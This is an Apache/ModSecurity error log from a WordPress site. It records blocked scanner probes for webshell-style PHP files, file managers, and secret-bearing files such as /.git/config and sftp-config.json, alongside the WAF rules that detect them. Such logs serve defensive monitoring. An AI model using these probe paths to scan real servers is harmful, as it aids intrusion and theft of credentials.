[Sun Nov 23 16:44:56.834504 2025] [:error] [pid 38739:tid 38779] [client 140.99.1.42:36887] [client 140.99.1.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aSLJiAdvEgJm2n2cDmozIwAAAEo"]
[Sun Nov 23 16:44:57.140408 2025] [:error] [pid 14602:tid 14640] [client 140.99.1.6:25283] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aSLJiR-I77jdD81pU-miAwAAAVM"]
[Sun Nov 23 16:44:58.334492 2025] [:error] [pid 44652:tid 44721] [client 140.99.1.32:58703] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSLJitiQFwsyXQDhwyC3OgAAAQ8"]
[Sun Nov 23 16:44:58.561525 2025] [:error] [pid 38824:tid 38847] [client 140.99.1.48:20125] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSLJik8WZjXLvbHTHPe9cQAAANQ"]
[Sun Nov 23 16:44:58.803412 2025] [:error] [pid 16066:tid 16089] [client 140.99.1.38:56649] [client 140.99.1.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSLJivq-c47Q5mW5E9FzkgAAAZQ"]
[Sun Nov 23 16:45:10.664366 2025] [:error] [pid 38739:tid 38783] [client 140.99.1.39:36951] [client 140.99.1.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2023/11/"] [unique_id "aSLJlgdvEgJm2n2cDmoz-gAAAE4"]
[Sun Nov 23 16:45:15.326004 2025] [:error] [pid 38739:tid 38777] [client 140.99.1.33:27009] [client 140.99.1.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/widget/"] [unique_id "aSLJmwdvEgJm2n2cDmo0VgAAAEg"]
[Sun Nov 23 17:07:00.759414 2025] [:error] [pid 14602:tid 14639] [client 162.158.87.20:11925] [client 162.158.87.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSLOtB-I77jdD81pU-nD7wAAAVI"]
[Sun Nov 23 18:20:06.517792 2025] [:error] [pid 38738:tid 38763] [client 45.141.215.95:61558] [client 45.141.215.95] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "57.128.175.14_d3ce73f62a6a80960de7932069c6e2dd0fb2d49c"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php/AutomatedBusinessLanding"] [unique_id "aSLf1Aytc6TL9XavPmM0nAAAABU"], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Sun Nov 23 18:44:06.025998 2025] [:error] [pid 38738:tid 38743] [client 176.65.132.18:46516] [client 176.65.132.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSLldgytc6TL9XavPmM6MAAAAAE"]
[Sun Nov 23 21:38:56.430765 2025] [:error] [pid 17534:tid 17539] [client 111.172.249.49:34916] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aSMOcHPX9nXBrhgM8syauQAAAcM"]
[Sun Nov 23 23:58:46.371437 2025] [:error] [pid 16066:tid 16081] [client 176.65.132.18:48046] [client 176.65.132.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSMvNvq-c47Q5mW5E9HlogAAAYw"]
[Mon Nov 24 03:01:38.365636 2025] [:error] [pid 1589:tid 1593] [client 176.65.132.18:57834] [client 176.65.132.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSNaEoI2fvripjU0EauZugAAAUI"]
[Mon Nov 24 04:51:39.299662 2025] [autoindex:error] [pid 12911:tid 12947] [client 52.167.123.116:3055] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Mon Nov 24 04:51:40.495567 2025] [autoindex:error] [pid 12910:tid 12916] [client 52.167.123.116:2837] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Mon Nov 24 04:51:45.417316 2025] [autoindex:error] [pid 12911:tid 12960] [client 52.167.123.116:3055] AH01276: Cannot serve directory /home/measureyourbrand/public_html/assets/images/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Mon Nov 24 04:51:49.285627 2025] [authz_core:error] [pid 12910:tid 12938] [client 52.167.123.116:2837] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/system/, referer: https://www.google.de/
[Mon Nov 24 04:59:45.327847 2025] [:error] [pid 12912:tid 12971] [client 45.84.107.97:55289] [client 45.84.107.97] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "85.203.15.134_38acabe4f67df76fb5f73ad05e08e7fcb12f3e33"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php/AutomatedBusinessLanding"] [unique_id "aSN1v5Mj_Lgt36UonYKyMwAAAII"], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 24 08:20:09.307736 2025] [:error] [pid 49900:tid 49904] [client 103.65.237.124:56703] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aSOkuTCyPLrvg06aorlk6gAAAAI"]
[Mon Nov 24 08:20:09.668465 2025] [:error] [pid 49900:tid 49913] [client 103.65.237.124:58469] [client 103.65.237.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aSOkuTCyPLrvg06aorlk7AAAAAs"]
[Mon Nov 24 09:30:49.265744 2025] [:error] [pid 48601:tid 48680] [client 140.99.1.20:45509] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSO1SYMM4MaVTk74-AZOwQAAAhc"]
[Mon Nov 24 09:30:49.786643 2025] [:error] [pid 48599:tid 48626] [client 140.99.1.30:61571] [client 140.99.1.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSO1SZzvu6PDJiRKE3LN5AAAAZc"]
[Mon Nov 24 09:30:50.602494 2025] [:error] [pid 48599:tid 48623] [client 140.99.1.69:53787] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSO1Spzvu6PDJiRKE3LN7QAAAZQ"]
[Mon Nov 24 09:30:51.101970 2025] [:error] [pid 48688:tid 48712] [client 140.99.1.11:30431] [client 140.99.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSO1Sxm2q1FkzLam7A1AkAAAAlQ"]
[Mon Nov 24 09:30:53.789153 2025] [:error] [pid 48688:tid 48710] [client 140.99.1.46:51919] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSO1TRm2q1FkzLam7A1AqQAAAlI"]
[Mon Nov 24 09:30:54.146423 2025] [:error] [pid 48600:tid 48647] [client 140.99.1.2:47343] [client 140.99.1.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSO1TvtOzSUAQvWVjBcvbgAAAdE"]
[Mon Nov 24 09:30:54.337944 2025] [:error] [pid 48601:tid 48662] [client 140.99.1.18:42543] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aSO1ToMM4MaVTk74-AZO7QAAAgU"]
[Mon Nov 24 09:30:54.564872 2025] [:error] [pid 48599:tid 48606] [client 140.99.1.53:31617] [client 140.99.1.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aSO1Tpzvu6PDJiRKE3LODwAAAYM"]
[Mon Nov 24 09:30:54.758334 2025] [:error] [pid 48601:tid 48675] [client 140.99.1.26:43953] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aSO1ToMM4MaVTk74-AZO_AAAAhI"]
[Mon Nov 24 09:30:54.958849 2025] [:error] [pid 48599:tid 48607] [client 140.99.1.42:38949] [client 140.99.1.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aSO1Tpzvu6PDJiRKE3LOEQAAAYQ"]
[Mon Nov 24 09:30:55.356691 2025] [:error] [pid 48599:tid 48620] [client 140.99.1.37:62355] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aSO1T5zvu6PDJiRKE3LOFgAAAZE"]
[Mon Nov 24 09:30:55.771980 2025] [:error] [pid 49900:tid 49903] [client 140.99.1.9:55155] [client 140.99.1.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aSO1TzCyPLrvg06aormZMgAAAAE"]
[Mon Nov 24 09:30:56.223058 2025] [:error] [pid 49900:tid 49905] [client 140.99.1.8:53879] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSO1UDCyPLrvg06aormZNgAAAAM"]
[Mon Nov 24 09:30:56.503828 2025] [:error] [pid 48688:tid 48711] [client 140.99.1.69:21815] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aSO1UBm2q1FkzLam7A1A3QAAAlM"]
[Mon Nov 24 09:30:56.796751 2025] [:error] [pid 49900:tid 49924] [client 140.99.1.65:26407] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSO1UDCyPLrvg06aormZOwAAABY"]
[Mon Nov 24 09:30:57.630951 2025] [:error] [pid 48599:tid 48606] [client 140.99.1.44:41335] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSO1UZzvu6PDJiRKE3LOIQAAAYM"]
[Mon Nov 24 09:30:57.924436 2025] [:error] [pid 49900:tid 49917] [client 140.99.1.46:41259] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aSO1UTCyPLrvg06aormZQQAAAA8"]
[Mon Nov 24 09:30:58.407314 2025] [:error] [pid 48599:tid 48620] [client 140.99.1.32:50587] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSO1Upzvu6PDJiRKE3LOJwAAAZE"]
[Mon Nov 24 09:30:58.740284 2025] [:error] [pid 49900:tid 49911] [client 140.99.1.65:30045] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSO1UjCyPLrvg06aormZRwAAAAk"]
[Mon Nov 24 09:30:59.399385 2025] [:error] [pid 48688:tid 48716] [client 140.99.1.65:43935] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSO1Uxm2q1FkzLam7A1A8wAAAlg"]
[Mon Nov 24 09:30:59.692379 2025] [:error] [pid 48601:tid 48673] [client 140.99.1.28:61445] [client 140.99.1.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSO1U4MM4MaVTk74-AZPJwAAAhA"]
[Mon Nov 24 09:31:00.029259 2025] [:error] [pid 48600:tid 48653] [client 140.99.1.76:25489] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSO1VPtOzSUAQvWVjBcvlAAAAdc"]
[Mon Nov 24 09:31:00.214801 2025] [:error] [pid 48601:tid 48681] [client 140.99.1.72:40483] [client 140.99.1.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aSO1VIMM4MaVTk74-AZPKAAAAhg"]
[Mon Nov 24 09:31:00.408300 2025] [:error] [pid 48688:tid 48696] [client 140.99.1.6:31797] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSO1VBm2q1FkzLam7A1A-QAAAkQ"]
[Mon Nov 24 09:31:01.056492 2025] [:error] [pid 48601:tid 48667] [client 140.99.1.17:51711] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aSO1VYMM4MaVTk74-AZPLwAAAgo"]
[Mon Nov 24 09:31:01.252609 2025] [:error] [pid 49900:tid 49902] [client 140.99.1.68:29527] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aSO1VTCyPLrvg06aormZUwAAAAA"]
[Mon Nov 24 09:31:01.480433 2025] [:error] [pid 48599:tid 48625] [client 140.99.1.76:36903] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSO1VZzvu6PDJiRKE3LOMAAAAZY"]
[Mon Nov 24 09:31:02.938008 2025] [:error] [pid 48599:tid 48603] [client 140.99.1.5:53479] [client 140.99.1.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aSO1Vpzvu6PDJiRKE3LOPAAAAYA"]
[Mon Nov 24 09:31:03.778719 2025] [:error] [pid 48600:tid 48652] [client 140.99.1.52:65215] [client 140.99.1.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.52, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSO1V_tOzSUAQvWVjBcvnAAAAdY"]
[Mon Nov 24 09:31:05.439091 2025] [:error] [pid 48600:tid 48631] [client 140.99.1.52:65215] [client 140.99.1.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSO1WftOzSUAQvWVjBcvqAAAAcE"]
[Mon Nov 24 09:31:05.898197 2025] [:error] [pid 48599:tid 48608] [client 140.99.1.46:48621] [client 140.99.1.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.46, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSO1WZzvu6PDJiRKE3LORgAAAYU"]
[Mon Nov 24 09:31:06.105355 2025] [:error] [pid 48599:tid 48603] [client 140.99.1.46:48621] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aSO1Wpzvu6PDJiRKE3LOSgAAAYA"]
[Mon Nov 24 09:31:07.165686 2025] [:error] [pid 48688:tid 48714] [client 140.99.1.11:33371] [client 140.99.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aSO1Wxm2q1FkzLam7A1BHwAAAlY"]
